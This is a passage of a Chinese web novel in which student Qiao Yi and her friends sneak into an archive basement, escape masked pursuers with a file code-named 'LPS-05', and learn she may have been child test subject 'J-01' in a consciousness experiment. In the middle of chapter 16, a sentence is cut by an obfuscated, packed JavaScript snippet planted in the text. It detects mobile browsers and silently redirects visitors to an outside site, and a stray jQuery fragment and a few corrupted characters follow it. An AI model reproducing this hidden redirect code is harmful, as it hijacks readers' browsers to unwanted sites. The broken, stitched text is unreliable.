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三人就这样在夜色中互相搀扶，慢慢朝宿舍方向走去。保卫处与那群黑衣人的冲突似乎还没结束，远处不时传来警笛和大声呵斥。这个夜晚注定会在学院的历史上留下难被遗忘的记忆，可这或许只是更剧烈风暴的前奏。更大的暗流，依旧在地下涌动。 乔伊想起那注射器、想起“H”多次威胁，也想起自己半夜耳畔回荡的拉普拉斯妖幻音，不禁心惊。也许，她正身陷一场更深层的高维介入或实验阴谋之中，而这一切牵扯出了学院的黑幕、保卫处的纠葛，还有她身边这些朋友——他们是否能和她一起走到最后？谁能保证不会半途折损？ 细雨夹着风吹进巷口，带着夜的寒凉，也给人一点骤醒的刺痛。乔伊攥紧学姐的手，目视前方，内心默念：“只要我们还没败，就会继续前行。” 夜幕低垂，云层厚重，偶尔露出的几点星光忽明忽暗，更衬得大地漆黑深沉。学院往日的宁静已然如破碎的镜子，再也无法复原。就在这压抑氛围中，乔伊抬眼看见远远的宿舍楼窗口有零星灯火，一闪一灭，好像某种信号。她不知道是谁在那个窗口，但总感觉那光与自己血脉相连，带着某种同在此际的孤独和希望。 当他们抵达宿舍楼附近，四下巡视一番，见并无可疑身影，才小心翼翼地闪身入内。林忻见乔伊状态如此狼狈，被吓了一跳，匆忙替她清理伤口。乔伊只是轻声道了句“没关系”，然后望向顾子衿：“现在，我们只能等那个机会，对吧？”顾子衿点头：“对，找合适的人解密，或是等待严教授的消息。” 守在宿舍的学姐若有所思：“黑衣人的行动越来越疯狂。有可能是他们察觉我们已经把信息传出，他们想最后一搏，或者想封锁一切证据。明天一早，我们最好再去调查一下。学院里有几个关键人物，比如那位副院长、技术部负责人，究竟是什么立场，都必须弄清楚。”乔伊默然半晌，才说：“好。” 气氛再次陷入沉默，连空气都仿佛凝滞。林忻从头到尾没打断他们，只是担忧地望着乔伊。过了几秒，她试探开口：“就不能离开学院吗？你既然知道这里暗藏危险，为什么还要待下去？”乔伊看向她，眼中闪过痛楚：“我想过，但拉普拉斯妖……还有我自己的出身秘密，也许都在这里。就算我逃走，恐怕仍逃不出‘H’的魔掌。更何况，我不想把学姐、顾子衿，还有其他无辜的人留在这漩涡里。” 林忻眼中浮出难过，却也只能轻轻叹气：“我理解。只要你不放弃，我们都会努力帮你。” 窗外夜色更深，宿舍楼道里有人经过，此起彼落的脚步声带来几分嘈杂，却也让沉默的房间多了点人气。乔伊低头，看着自己手臂上那块瘀青，疼痛让她清楚地感受到：自己已真正踏入这场危机，退无可退。而若要继续，势必要迎面直上所有艰险。 “今晚好好休息，”学姐最后说，“明天我们再分头行动。看能不能找到严教授，或至少打听到谁最值得信任，把那份证据公布出去。” 乔伊何尝不知道休息的重要，但她也明白自己极可能又是一夜难眠。然而人总要给自己一点喘息，她点了点头。当屋里只剩下她与林忻时，她才勉强挤出一丝笑：“谢谢你一直担心我，早点休息吧。” 林忻欲言又止，终是拍了拍乔伊肩膀：“你也别逞强了。”随后便走到床边，从床头柜拿过一瓶药膏递给她，“外伤就得上点药，你这不管可不行啊。”乔伊愣了愣，心里涌起暖流：“……好。” 夜半时分，整层宿舍慢慢安静下来。乔伊躺在床上，短暂地闭上眼。可那拉普拉斯妖的声音却时断时续地在脑海响起，似冷漠旁观，又似正在嘲弄一切：“你真的准备好了吗？人类自以为有自由意志，却地处命运之轮的另一端……”她紧紧攥住被角，自言自语：“不管你说什么，我都不会退缩。因为我仍要相信自己也有选择，有对抗命运的勇气。” 雨后的空气里带着微潮的寒意，风从窗缝吹入，让她的思绪更显清醒。或许，这场黑暗与阴谋要经历很久，甚至会让更多人陷入危险，可只要那一点星火还没被浇灭，她相信自己和伙伴们一定能找到真正的光明与真相。 她不知道交织在眼前的，是谎言编织的牢笼，还是命运悄然揭示的考验。只是，她已别无选择。那片她一直梦见的实验室空间、以及自己身世之谜，都在逼迫她继续往前。 若命运不可违，那就用更大的信念去对抗。若拉普拉斯兽（妖）真是高维之灵，她也必须找出一条可能的突破口。人的意识与高维介入，究竟能擦出怎样的火花？或许答案就在学院某处，或记载在那份LPS系列代号的计划文件里。 ——下一章预告—— 夜色渐退，晨曦即将来临，当学姐、顾子衿与乔伊打算前往一处神秘地点寻找严教授踪迹时，却在教学楼前意外遇上另一位核心角色。对方手中似乎掌握更多“LPS”机密，却也显露出敌友难辨的态度……迷雾再起，一场更深的交锋即将到来。 16. 夜潮渐涨，槿花又开 暮色沉沉，远处霓虹逐渐熄灭，偌大的学院在夜雾里显得愈发寂寥。乔伊原本以为，这一晚会如常度过。可事实证明，她又一次与安眠失之交臂。 她坐在宿舍书桌前，指尖敲着笔记本键盘，头脑混乱却极度清醒。经过机房那场险象环生的冲突后，她先被保卫处要求做身份记录，随后又在保卫处与黑衣人的纠缠里险些受伤。若不是学姐和顾子衿帮她在混乱中脱身，她可能就被那个带着注射器的黑衣人抓走了。 此刻的宿舍里只亮着一盏白炽台灯，映在墙上投出斑驳影子。林忻轻轻敲门走进来，看着形容憔悴的乔伊，低声问：“去哪儿了？我跟学姐他们都找你一晚上。”乔伊扯了扯干裂嘴唇：“在保卫处做记录，后来趁混乱溜出来，我怕连累你们，就没马上回宿舍。” 林忻皱眉：“你别乱跑，现在名义上你已经被列为‘嫌疑人’，下次可没这么容易脱身。”她往前凑了凑，看乔伊手臂还渗着血迹的纱布，不由得心疼地叹气，想再说些什么，却最终作罢。她拿起医疗包给乔伊重新换药，乔伊强忍刺痛，让目光停留在窗外——昏暗天色里，残存雨意的地面像一块寒冷的镜子，倒映着微弱灯影。她仿佛在镜面中看见自己身后浮现一个迷糊的黑影。那黑影身材修长，似轻声呼唤她：“乔伊，乔伊……” 是拉普拉斯妖的声音。近来它的出现愈加频繁，在乔伊脑海中不时回响，忽冷忽温，仿佛高高在上的嘲弄，也像与她存在某种奇怪的羁绊。她一度怀疑是自己精神压力过大产生的幻听，可它却又能提供关键信息，让她从危难中得救。她不知道这妖怪究竟想做什么。 收拾好伤口，林忻才扶她坐回椅子。乔伊心里不安地说：“刚才顾子衿给我发了消息，说他查到‘H’在学院里可能有更深层的关系网。严教授一失联，这些黑衣人就现在这么猖獗……”说到“严教授”，她的声音哽住。无论如何，严教授对她始终有再造之恩，如果没有教授当初的提携，乔伊或许根本没机会进入学院深造。更何况，他手上有那份能够还她清白的关键证据。只是不知为何，他突然失踪了。 林忻小心地替她倒了一杯温水：“你先喝口水，别急。”乔伊喝了几口，仍旧抑不住心头焦躁，摆弄着手机：“学姐一会儿会来找我，说想商量点事。林忻，你……有空的话，能陪我一起听听吗？” 林忻点点头，没拒绝。她正准备把椅子拖到乔伊旁边，敲门声就响起了。门外，学姐与顾子衿匆匆进来。顾子衿还背着那只黑色双肩包，神色疲惫却兴奋：“乔伊，日志文件的上传检验还算顺利，目前我们的云端备份没有被删。”乔伊难得地露出一点轻松神色，又听他叹息续道，“不过，这只是暂时的。如果学院高层要查，我也不敢保证它能一直安全下去。” 学姐在林忻的示意下坐到床沿，揉了揉眉心：“学院里的风声很紧。行政楼那边两小时前发了新指令，要求所有部门彻查可疑网络接入点，尤其是机房和技术部。我们的技术部朋友说，保卫处已经调取了监控，需要我们小心。”她顿了顿，又露出一丝惋惜神色，“更糟糕的是，还是没找到严教授。学院里有各种小道消息，有人说他被卷入一个大阴谋，也有人说他故意潜逃，甚至怀疑他就是‘H’的人……” 乔伊把掌心闷在脸上，声音微哑：“我不信他会背叛学院，可我不知道该拿什么来证明。”她脑海里回想起与严教授相处的点滴片段——对方总是温和又严谨，对她悉心指导，甚至关心她的心理状态。她难以想象他会与“H”同流合污。 顾子衿轻咳一声，让气氛稍变严肃：“不管怎样，我们现在有一个办法，或许能找到教授的行踪。你们应该还记得，那份日志文件里提到一个代号‘LPS-05’的档案，可我们之前没能解密。刚才我和学姐联系到一个熟悉学院历史的管理员，他说学院档案馆某处有这份文件的副本，只是藏得很深，得有内部权限才能查阅。”说罢，他拿出一把旧钥匙，“他先给了我这个，好像能打开档案馆旧楼地下室的某扇门。“ 林忻疑惑：“可我们又没合法审批，就算有钥匙，也不敢堂而皇之去翻阅机密档案吧？”顾子衿摊手：“没错，所以只能深夜去。动作要快也要小心。” 乔伊抬头，目光坚决：“我跟你们一起去。就算被抓住，我也认了。”她说完这话，心里却又浮现隐忧：前些天半夜闯档案馆已是险象环生，现在戒备只会更严，稍有差池就是自投罗网。但想着严教授可能留下的讯息，也许只有那里才找得到。 学姐看了看她的伤，担心地说：“你刚逃过一劫，确定没有问题？”乔伊咬唇，用力点头。林忻轻声道：“那我也一起去，为你们望风。”这样固定四人小组，便于互相照应。 此事敲定，几人稍作准备，等到凌晨接近两点，宿舍安静到只有远处的路灯声与夜鸟轻啼。他们从宿舍后门悄无声息走出来。乔伊的腿脚还有些酸软，学姐则时刻警惕周遭。风卷着潮湿的夜气扑面而来，带着阵阵寒意。路过??卫处值班室时，只见里面昏黄灯光下一个队员似乎在打瞌睡。林忻比划了个“嘘”字样，他们俯身快速穿过小径，成功避开值班室的监控探头。 档案馆旧楼在学院西侧，平时少有人往来。据说那里的藏品大多是过期文献，只有极少量机密资料会在地下室深处封存。乔伊盯着那阴森森的老建筑，背脊泛着一丝凉意。顾子衿赶忙掏出钥匙，用手机微光对着门锁反复摸索：“别出声，有些锈了。”插入、轻转、用力——“咔哒”一声，门开了。 楼道里充斥陈旧霉味，昏暗得几乎看不清。林忻打开随身携带的小手电，照亮前方，光束颤巍巍地映出斑驳墙面。学姐轻轻呼吸，声音压得极低：“上回我们只去了一层和二层，那时就觉得阴森。今晚我们要去地下室……可别闹鬼。”顾子衿干笑两声：“希望别碰上保卫处。” 乔伊先踏下一级台阶，脚底发出吱呀响声，似触动了几十年未被唤醒的地板。她往下继续走，脑海里那股熟悉的呼唤又隐隐升起：“乔伊……LPS-05……你还记得吗？”她心猛地一颤。记得？她又能记得什么？关于她童年的一切，一直都很混沌，偶尔闪现一些片段，无法分辨真伪。拉普拉斯妖仿佛化成一股潜意识，指引她往更深黑暗处去探寻答案，而她却不知那答案会不会是更大的陷阱。 四人沿着楼梯一路往下，拐过两个拐角后，终于看到一扇生锈的铁门，上面挂着老式锁头。顾子衿再度摸出那把钥匙，试探地插进去轻旋，锁头果然松动。“管理员没骗我们，”他小声嘀咕，额头已懒得擦汗，“不过里面是什么光景，可就不好说了。” 门一开，一股潮湿霉味扑鼻而来，像多年尘封的密室。林忻抓着乔伊的袖口，轻呼了口气：“走吧，别犹豫。”几人顺着狭窄过道摸索，找到一间放满旧册子的库房。顾子衿翻看四周贴着的标签，低声道：“这里应该是斥存档案室1区，咱们要的应该在后面2区。继续往前。”库房昏暗，地上堆着不少废弃纸箱，稍不留神就会撞上。乔伊的心越发紧绷，手指几乎掐进掌心里。她不得不承认，这深夜潜行、本就非法的行为，让她提心吊胆。可她又必须来，想要真相，就得冒这个险。 “你们看这边。”学姐突然压低声音朝一侧示意。那是一处尤为隐蔽的角落，被一排旧书架挡住，只留窄窄的缝隙。小手电的光束扫过去，隐约看见里面摆设一张灰尘厚重的金属柜，柜门上有类似档案等级的编号标识，模糊可见“LPS”几个字母。几人顿时精神一振，总算找对地方了。 顾子衿轻轻推了推柜门，没锁上，但很难打开。乔伊上前帮忙，用力一扯，柜门“咯吱”弹开，扬起一股呛人灰尘，差点让他们咳出声。林忻赶紧挥手扇散灰雾，学姐拿着手电探进去：“好多档案袋，标签很杂……”她目光在一串串编号中扫过——“LPS-02、LPS-03、LPS-05、LPS-06……”她压抑着内心兴奋，小声道，“就是它，05。” 乔伊脸上虽满是疲惫，但也燃起一丝希望。她颤抖地拿起“LPS-05”的档案袋，一看便知里面材料不少，护封上还印着“内部保管，严禁外传”字样，落款日期相当久远，似乎在她入学之前就已经存在。她赶忙把里面的文件抽出几页举到光下，文字模糊，有很多手写笔记，附着冗长的测试数据。标题是《拉普拉斯拟态模型对人类意识干预的可行性分析》。她心跳陡然加速，这绝对是大秘密。有关拉普拉斯妖、有关人类意识研究曾在学院进行过某种实验？ 学姐与顾子衿凑过来，三人挤在微弱灯光里分头查看。乔伊越看越震撼：里面竟然有一张骨龄检测报告，上面标着一个代号为“J-01”的受试者，年龄与她小时候大致相符。还有一段手写注释“对J-01的干预强度需谨慎，以免造成意识紊乱”。她脑中轰的一声空白，难道说，这“J-01”就是自己？ 她不敢再看下去，心里一片紊乱：原来她很小的时候就被纳入某个研究计划之中？又是谁批准的？严教授参与还是阻止？如果这些内容曝光，学院会受到怎样的震荡？她这时猛地想起自己的父母，她并未与他们多亲近——她一向认为自己家境一般，小城出身，父母只是普通职员。然而是否他们也知道这些？ “乔伊。”林忻轻轻拍她肩膀，“你还好吗？”乔伊回神，发现自己已经泪意涌上，只得咬牙把眼泪憋回去：“我想知道更多。”学姐见状也不敢催促，只是低声建议：“把能拍下的都拍下来先带走，慢慢再研究。” 然而正当他们准备用手机拍照时，远处走廊突然传来急促脚步声，还有一道微弱的手电光。几人心头一凛！有人来了？ 乔伊猛地捏紧档案袋：“快，先合起来。”顾子衿手忙脚乱把档案塞回去，甚至没来得及归位。学姐一把拉住乔伊往库房后门闪：“这里似乎通往另一条通道。”四人轻步跑进楚暗过道，顾子衿关掉手电，周围瞬间陷入伸手不见五指的黑暗，只余那阵越来越近的脚步声在空气中回荡。 “谁在那边？”一个低沉男声喝问，紧接着灯光扫来。乔伊的心提到嗓子眼。她深吸口气，尽力把档案袋塞进自己的外套里，指尖都在发抖。万一被抓住，他们恐怕连辩解的机会都没有。 脚步声在库房门口停了下来，隐隐传来翻动声与窸窣对话：“这扇门是开着的，有人进来了……快找！”另一个略沙哑的声音也响起：“动作干净点，别给保卫处留把柄。”听这口气，像是那夜机房出现的黑衣势力。 顾子衿蹑手蹑脚带领大家沿着漆黑通道继续前行，生怕一点动静就暴露位置。走了约莫十几米，却被死胡同挡住：这条后门通道似乎被废弃杂物堵塞，根本走不通！他们只得屏息窝在角落里。林忻的心跳声几乎要跑出嗓子，乔伊紧张到无法呼吸。那伙黑衣人也许人多势强，一旦被他们堵住后路，后果不堪设想。 “怎么办？”学姐急得发汗。顾子衿也很焦灼：“要不，我们再往回跑。”乔伊眼神闪动：“不行，他们在门口。除非……”她忽然猛地想起：早先管理员提过档案馆旧楼地下室里有两条安全通道，一条直上主楼梯，一条可能通向更老的废弃区，那里据说年久失修，但并没有被完全封死。若能找到那处暗门，也许可通向另一个出口。 情况紧急，乔伊只得硬着头皮向更昏暗处摸索。拉普拉斯妖的声音再次响起，却带着些许莫名的嘲弄：“你想逃？还是要迎战？”她牙关紧咬，一声不吭，双手在墙面上摸索，果然摸到一块铁质栏栅。她用力一推，发出“嘎吱”声，林忻赶紧捂住她的手，示意小声点。 黑衣人的脚步声更近了，似乎分头搜查。他们隐隐听见其中一个人说：“LPS项目资料一定在这里，不惜一切也要找出来。”学姐心中一惊，这群人果然就是盯着这份机密而来。乔伊不敢怠慢，拼命想转动那铁栅的卡榫，幸好在关键一刻，“咔哒”一声轻响，栅栏松动，露出一条狭窄的隧道口。顾子衿也顾不上犹豫，率先钻进去，然后伸手拉学姐、林忻，再拉乔伊。 四人刚进洞口，栅栏又回弹关上。突如其来的黑暗令人心惊，乔伊只觉得呼吸愈发困难，空气里充斥着腐朽与尘土的气息。林忻率先开了手电，微光扫过，发现这是条窄小的地下走道，弯弯曲曲，好似末世遗迹。时间无多，他们也只能硬着头皮往前走，身后传来黑衣人的骂声与翻箱倒柜声。 “别慌，再往前应该有出口。”乔伊咬着牙说给自己听，也给大家打气。她不想就此被困，更不想被那群黑衣人追到。此刻，她的左胸口衣服里，还藏着那份“LPS-05”关键档案。如果到手的真相又被抢走，她就失去了唯一的筹码与线索。想到这里，她浑身像打了针肾上腺素般，整个人都强行提振。 地下走道里弥漫着灰尘，偶尔还有滴水声回荡。学姐有几次差点滑倒，幸而林忻拉住。顾子衿则拿手机尝试联系外面，发现地下信号极弱，只能勉强发出几条消息。乔伊注意到他屏幕微光映出的画面，上面显示的联系人似乎是“技术部——王哥”，她暗自庆幸，这也许是他们能得到外部援手的唯一途径。 走了约莫五六分钟，四人终于看见前方出现一扇紧闭的铁门。门缝里透出隐约光线，似乎通往地面。顾子衿一鼓作气上前拧门把，却发现门锁锈死。他眉头一皱：“糟了，开不开？”学姐一脸焦躁：“要不就硬撞？”乔伊摇头：“怕声音太大，黑衣人会循声追来。” 短暂商量后，他们只能用工具撬开。林忻掏出随身小刀，看是否能卸下螺丝。可螺丝钉早已腐蚀，有个半断在孔里怎么也拧不动。正一筹莫展时，乔伊忽然下意识把手贴到门板，耳朵也凑近听外面动静。她很想再听到拉普拉斯妖那个“神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013889|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘提示”，然而这一次，大概是因为过度疲惫，脑海里并没有任何回响。她自嘲地想：说不定那个妖怪只是会在关键时刻戏弄，而不是时时能帮她。 然而就在她准备放弃时，忽然轻微“咔哒”一声在门锁处响起，好似自主松动。她心头一跳，连忙招呼顾子衿再试一下。果然，这下把手竟然能被转动。众人惊愕地面面相觑，绿锈斑驳的门锁就这样自行松脱？如同有无形之手暗中助力。乔伊捏紧门把，深呼吸，然后一鼓作气把门推开。 昏黄月光洒进来，带着清冷的空气。四人小心翼翼钻出这扇门，发现竟然到了学院后山一处半废弃的楼梯口。上方是学院外墙附近的一片灌木丛，再过几米就是围墙。若想避开保卫处和黑衣人的视线，这里可谓绝佳通道。林忻长吁一口气，差点坐地上：“吓死我了。” 他们彼此交换了一个苦笑，也没时间多说，怕黑衣人追来，便立刻抄近路往宿舍区后方走。一路上乔伊仍紧咬牙关，心脏怦怦——怀里的档案袋仿佛火烫，令她的理智与情绪不断拉扯。她想翻看更多，却又知道时机不对。她更想问拉普拉斯妖，到底她在小时候经历过什么？可她唤不来那声音。夜风拂过，带着湿冷的暗色气息。 接近宿舍区时，天空微泛鱼肚白，竟已是凌晨四点多。林忻感慨道：“天快亮了，真是场惊险之夜。”学姐拍了下顾子衿的胳膊：“刚刚你说联系了技术部的王哥，他有回应吗？”顾子衿掏手机出来查看，摇头：“信号没好，先回宿舍再看。” 一行人终于进了宿舍楼，已是筋疲力竭。大家互相约定，暂不多言，先休息数小时再碰头。只是在分别前，顾子衿看着乔伊，眼里满是期许：“那档案一定有重要讯息。你先保管好，千万别让别人发现，后面我们一起研究。” 乔伊郑重点头。她回到宿舍后，林忻也默默为她守门，防止有人突然来查。乔伊找来一个不显眼的背包，把档案藏在里面，然后伸手抚摸那一叠纸张，指尖还能感受到清晰的封皮压痕。她神色复杂：若真如资料所示，她被某个“拉普拉斯计划”当做典型个体做实验，那现在脑海里对她不停暗示的“妖”，究竟是自然诞生的精神投射？还是那场实验残留的产物？突然，她脑海里似电光火石般闪过一个大胆想法：或许拉普拉斯妖就是自己意识的一部分，它在她体内，可同时又像另一个独立的存在。 她犹记资料中提到的“人类意识干预”和“拟态模型”，说明很可能有人在她幼年时对她大脑进行过某种刺激或暗示。严教授在此时失踪，是否因为他发现了这个秘密并打算曝光？她越想越头痛。正要放下资料喘口气，却见其中一页角落里夹着一段潦草笔迹： “若实验被迫终止，J-01载体极可能觉醒自我保护机制，并与高维意识建立局部联结……请谨慎对待。” 喉咙像被堵住似的，乔伊说不出话来。什么叫“高维意识”？这不正是拉普拉斯妖的概念吗？学院居然真的拿她当载体，执行某种“觉醒”实验？如果这一切都是真的，那么自己岂非成了任人摆布的试验品？ 她难受地靠在椅背上，过去十几年来，很多往事都说不清了。她本以为是普通的童年，只是稍微体弱多病，偶尔做噩梦，但那也许根本不是普通的梦，而是那场隐藏实验带来的副作用。想到此处，她心里一阵悲痛与愤懑。她曾把学院当温暖的港湾，却不料这里是暗流涌动的深海。一些高层或研究者也许并非表面那么光明。 林忻看乔伊脸色苍白，缓声说：“不管真相多难接受，你都要振作。好在你现在还自由，还能调查、还能找到证据、还能有伙伴帮你。别垮在前面。”乔伊抬眸看她，心底升起一股暖意。是啊，无论如何，她还有顾子衿、学姐、林忻……他们冒着危险陪她闯档案馆，就说明对自己不是普通同学间的义气，而是发自内心想帮她。她咬了咬嘴唇：“我不会放弃。” 忽然，手机嗡地振动一下，乔伊拿起来一看，是顾子衿传来的消息： 「乔伊，刚收到王哥回信。他说保卫处已在全面排查，我和学姐目前安全。你那边怎么样？档案拿到了吗？在线等回复！」 乔伊立刻指尖飞速敲字：“拿到了，平安回宿舍。你们别出去露面。明早见面可好？”发完这段，她把手机攥在掌中，静静等待对方回复，却只等来一句“好的”就再无下文。或许顾子衿也需要一点喘息。 天已将亮，乔伊却毫无睡意。她想了想，还是拿出几张最关键的资料拍照传给顾子衿——以防万一自己被突袭，也好让资料不至于再次被毁灭。做完这一切，她像泄了气的气球，瘫坐在床上。 林忻为她倒来温水，看她一饮而尽才轻声安抚：“涂点药膏再睡吧？”乔伊点头，顺着林忻的动作把那支药膏接过来。外伤虽然疼，可远不及她内心的疼。她机械地涂抹伤口，脑中却不断交织着拉普拉斯妖的呢喃与档案里残忍冰冷的字眼。她不知道该如何安放自己的情绪。 当林忻关灯躺回床上，整个宿舍重新笼罩于黑暗与静谧，乔伊才觉得自己仿佛陷入深海，四面无声。她睁眼望向天花板，那上面满是宿舍岁月泛黄的痕迹，此刻仿佛成了巨大漩涡，要将她吞噬。 “明天……不，应该是今天白天，”她在心里默默想，“我们会再碰面，商量怎样对外求助，怎样找回严教授……也许还要面对学院高层的质问。‘H’那群人、还有可能存在的另一些势力，都在暗处盯着。我们还能撑多久？关键时刻，拉普拉斯妖会再次出现吗？或者它只是一种警示？” 她不知道答案。她只能以自己不多的勇气继续撑下来。命运似乎把她推到一个十字路口，走向哪条路，都有无数岔口与未知。沉思到最后，她疲惫地闭上双眼，一瞬间，好像又梦见那扇冰冷的实验室门，以及门后更加深邃的高维暗示…… 然而这一夜注定无眠，恍惚中，乔伊似听见宿舍外某个角落传来细碎声响，像有人在黑暗里低语。她下意识想睁眼查看，却发现疲惫不堪的身体终究不允她再折腾，一脑袋沉入混沌。只是在彻底睡去前，她听见一道若有似无的嗓音—— “命运轮转，你当如何。” 她没有力气回应，唯有那行字在意识深处反复闪现：“J-01……拉普拉斯……你究竟是谁？” 故事走到这里，像一场风暴前的短暂平静。表面看去，乔伊和小伙伴们暂时躲过了黑衣人的追查，也成功取得“LPS-05”档案，似乎又多了几分胜算。然而潜藏的阴谋、翻涌的暗流，早已在学院中汹涌而至。 ——下一章预告—— 当黎明破晓，一纸新的命令却让乔伊的行踪再次暴露。学院高层与“H”的蛛丝马迹逐渐交织，谁人还会退让？而乔伊暗中怀揣的“LPS-05”檔案，又将给她带来怎样的挑战？更多真相与危机，正向她们步步逼近…… 17. 钟声零落，光影难寻 夜色徒然深重起来，宛若一层又一层幕布，将学院包裹在滞闷的寂静里。乔伊没有开灯，只任由宿舍窗外微弱的路灯投下一道昏黄光线，让她能勉强看清手中文件。她摊开“LPS-05”档案，反复在标题与那行手写批注之间扫视。自从她发现自己童年或曾背负某种“实验体”身份后，心中不时翻涌惊惶与愤恨，但更多的是茫然：为何偏偏是她？拉普拉斯妖究竟又扮演何种角色？她翻动页面，生怕漏看任何只言片语，却始终无法把这些支离破碎的信息拼组成完整真相。 宿舍屋顶的老旧风扇发出呜呜声响，好像也不堪这深夜的闷热。曾经温馨的居住空间，如今在阴影里像监视者。乔伊时不时抬头张望，生怕保卫处突然来抓人。她已经将档案藏进床垫下，仅保留最关键几页独自研读，然后用手机拍下备份。林忻则站在门口，耳朵贴着门板，轻声提醒：“外面看上去暂时没人，但你动作快点。咱们还不确定有没有人盯梢。” 乔伊点点头，继续盯住那行熟悉又陌生的英文缩写“LPS”——拉普拉斯计划。她愈发觉得，这并不仅仅是学院合作项目那么简单，极可能牵扯到各方势力对于“量子意识”或“高维干涉”的研究。真正的意图，无论是保护世界，还是用它来控制世界，都令她不寒而栗。想到那个在自己脑海中时隐时现的神秘声音，她的指尖止不住一阵颤抖。 这时，顾子衿突然在宿舍门外压低嗓音喊着乔伊的名字。林忻急忙打开门，让他闪身进来。顾子衿脸上写满了疲惫，却也带着一丝急切，朝乔伊说明：“我刚收到学姐的消息。那位老研究员——就是严教授以前的同事——愿意见我们，但只说让我们今晚十一点到旧体育馆后门那儿等，姿态相当神秘。” 乔伊站起身：“老研究员……” “对，好像是叫罗博士，曾协助严教授做过早期的数据分析。多半也知道‘LPS-05’的内幕。”顾子衿一边说，一边快速扫一眼乔伊写下的笔记，“你这边又整理出什么了吗？” 乔伊把手里那页附有“意识干预实验记录”的材料递给他：“从三岁到七岁，被称为‘J-01’对象，实验地点不在学院本部，而在某家合作医院的封闭楼层。具体过程写得含糊不清，但反复提及‘模拟高维意识场’……看到这里，我脑后直冒冷汗。配合之前那些零碎线索，恐怕那时的我就被迫接受了某种潜意识暗示。拉普拉斯妖也许不是凭空而来。” 顾子衿深吸一口气：“难怪每次它在你脑海出现，既有预感式的警告，也混杂着你童年记忆的场景。它可能是实验残余，也可能已与外部更神秘的力量连接。” 林忻在一旁听得心里发怵：“这个学院怎么会允许这样的试验？难道没有伦理审核吗？”话虽如此，可想而知，如果学院高层真有意推动，一份虚名的伦理委员会又怎能拦得住。再加上背后是否还牵扯强大的资本或势力，也说不准。想到这里，林忻只觉得手脚发冷。 最终，乔伊把档案小心折好，与顾子衿和林忻商议：“好，我们按学姐说的去见罗博士。或许他知道更多细节，也可能能确定严教授那里出了什么状况。不过路上一定要小心‘H’的人，他们估计就在暗处盯着。” 万籁俱寂之时，他们三人轻装简行，悄悄离开宿舍，径直往旧体育馆方向走去。夜晚的校园行道树伫立在微弱月色下，影子像一个个沉默的巨人。乔伊的每一步都小心翼翼，仿佛地面会随时塌陷。她脑中偶尔又飘过拉普拉斯妖的冷笑：“你以为见到那个人就能挖出真相？命运之轮早已转动，你只能做局中人。” 这声音让她心口一紧，差点踉跄摔倒。顾子衿忙伸手扶住她：“你还好吧？”乔伊勉强挤出一丝笑意：“没事，走吧。”她没有告诉任何人，刚才那一瞬间，她似乎瞥见远处的操场边缘站着一道朦胧身影，恍惚间又空无一人。她怀疑自己已经分不清什么是真实，什么是拉普拉斯妖投射的幻影。 旧体育馆后门果然破落不堪，周围杂草丛生，偶尔有夜风掠过，沙沙声仿佛嘲笑他们此行愚蠢。顾子衿默默用手机打光，然而猎猎冷风中，只有孤零零的铁门，锈迹斑斑，似乎没有任何人影。十一点一刻了，罗博士为何还不露面？ 正当三人焦躁之时，后门那扇铁栏杆忽然轻响，紧接着里面探出一个戴着口罩的老人脑袋，压低声音喝道：“说好了你们只来两人，怎么还带个女娃？”乔伊皱眉，刚要解释，顾子衿抢先开口：“她就是当事人，想知道‘LPS-05’真相很正常。” 怪老人瞅了乔伊一眼，目光忽闪忽闪：“跟我进来吧，说话小声点。”然后他带路让三人进入破旧体育馆里。这个地方早已废弃多年，地面凹凸不平，扶梯上堆着各式杂物，空气里隐约有霉味。穿过好几道幽暗过道，罗博士才带他们来到一个小房间，一盏台灯孤零零亮着，映得墙面斑驳。 “你们要问什么？”他见乔伊还是戒备，便冷笑一声，“放心吧，我在学院干了多年，看过腥风血雨，也早习惯了。当年协助老严时，我就猜到这档子事早晚爆。我能说的就说，你们想听便听。” 顾子衿直接亮出档案中截取的关键页：“这份‘LPS-05’记录，是否当年秘密实验里真正最核心的项目？” 罗博士看了一眼，嘴唇轻抖：“你们……果然拿到了。好，这事儿我得先声明，当初我们只是小范围做早期尝试：利用量子纠缠理论，引入所谓高维粒子计算架构，然后将之与人类深层意识耦合，看可否实现某种对未来走向的‘先验感知’。讲白了，就是想让人具备‘预知’之力，或者某种概率分布的高度感应能力。而这个受试对象，代号J-01……” 罗博士说到这里，眼神在乔伊面庞停留许久，似乎已经猜到了什么：“我记???那孩子很乖，测试时经常发烧，多次出现短暂意识错乱。老严曾极力反对继续扩展实验，但顶层没听，还搞了后续升级。后来……后来我也离开研究团队了，就算想帮也无能为力。” 乔伊张口结舌，努力让声音保持平稳：“后来你们做到了吗？所谓对未来的计算……成真了吗？” 老人苦笑：“做到了部分。至少分析系统可以通过量子算法将未来某些趋势做概率模拟，再‘投射’给受试者。受试者就像一个通道，能把高维解读翻译到现实中。但是副作用很严重，因为人类的大脑根本无法同时负荷太多信息，对孩子们的创伤无可估量。” 乔伊拳头越攥越紧：“那我脑海里的‘拉普拉斯妖’，就是那个所谓投射产物吗？”她有些激动，按捺住内心翻腾的情绪，“它时常给我预感，甚至干涉我的思维。” 罗博士听完眼神陡沉：“想必如此。当年我们选用拉普拉斯妖一词，正是隐喻系统可预测且掌控世界任意微观状态，只不过实验终没能完善。失控的拉普拉斯模型既可能毁灭自己，也可能引发难以估量的后果。我也不清楚，你醒来后有没有出现什么异常体征？” 乔伊苦笑：“记忆错乱、偶尔失控、其他异象都有。我也不知道自己还能撑多久。” 林忻听到这里，心中五味杂陈：“当年你们这些研究者，就不担心毁掉那个孩子吗？”罗博士摇头叹息：“若是让我重来一次，我宁可从没参与。这世界上，总有人想操控命运，却牺牲了无数人的自由意志。况且这背后还有更多利益相关，一旦成功，我们学院就能一鸣惊人，甚至在国际学术圈攫取巨大资源。” 